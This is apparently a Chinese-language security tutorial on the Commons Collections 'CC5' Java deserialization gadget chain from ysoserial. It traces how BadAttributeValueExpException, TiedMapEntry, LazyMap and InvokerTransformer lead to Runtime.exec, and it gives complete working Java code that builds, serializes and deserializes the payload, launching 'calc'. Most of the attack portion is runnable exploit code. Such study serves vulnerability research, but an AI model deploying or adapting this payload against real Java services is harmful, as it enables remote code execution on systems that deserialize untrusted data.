Commons Collections是Apache软件基金会的一个开源项目,它提供了一组可复用的数据结构和算法的实现,旨在扩展和增强Java集合框架,以便更好地满足不同类型应用的需求。该项目包含了多种不同类型的集合类、迭代器、队列、堆栈、映射、列表、集等数据结构实现,以及许多实用程序类和算法实现。它的代码质量较高,被广泛应用于Java应用程序开发中。
先看一下ysoserial的利用链
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
和CC1国外那条链对比LazyMap后面一模一样,这里入口换成了BadAttributeValueExpException类,先找到他的readObject方法
72行获取val的值,赋值给valobj
86行调用了valobj的toString方法,假设valobj为TiedMapEntry,那么就会调用到TiedMapEntry#toString
跟进TiedMapEntry#toString发现调用了getValue
跟进getValue发现调用了map.get
看一下他的构造方法,map可控
如果map传递为LazyMap则会调用LazyMap#get,后面就跟CC1一样了
先复制过来CC1的代码
Transformer[] transform1 = new Transformer[]{
new ConstantTransformer(Runtime.class),//会调用里面的transform方法,他会返回初始化对象传递的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
HashMap<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);
创建一个TiedMapEntry对象并复制
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"key");
创建一个BadAttributeValueExpException对象
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
通过反射修改badAttributeValueExpException的val
Class c = badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
然后序列化反序列化就行了
完整代码
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC5_Test {
public static void main(String[] args) throws Exception{
Transformer[] transform1 = new Transformer[]{
new ConstantTransformer(Runtime.class),//会调用里面的transform方法,他会返回初始化对象传递的参数
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transform1);
HashMap<Object, Object> map = new HashMap<>();
Map decorate = LazyMap.decorate(map, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"key");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class c = badAttributeValueExpException.getClass();
Field val = c.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
System.out.println("serialize");
}
public static Object unserialize(String str) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(str));
Object obj = objectInputStream.readObject();
System.out.println("unserialize");
return obj;
}
}




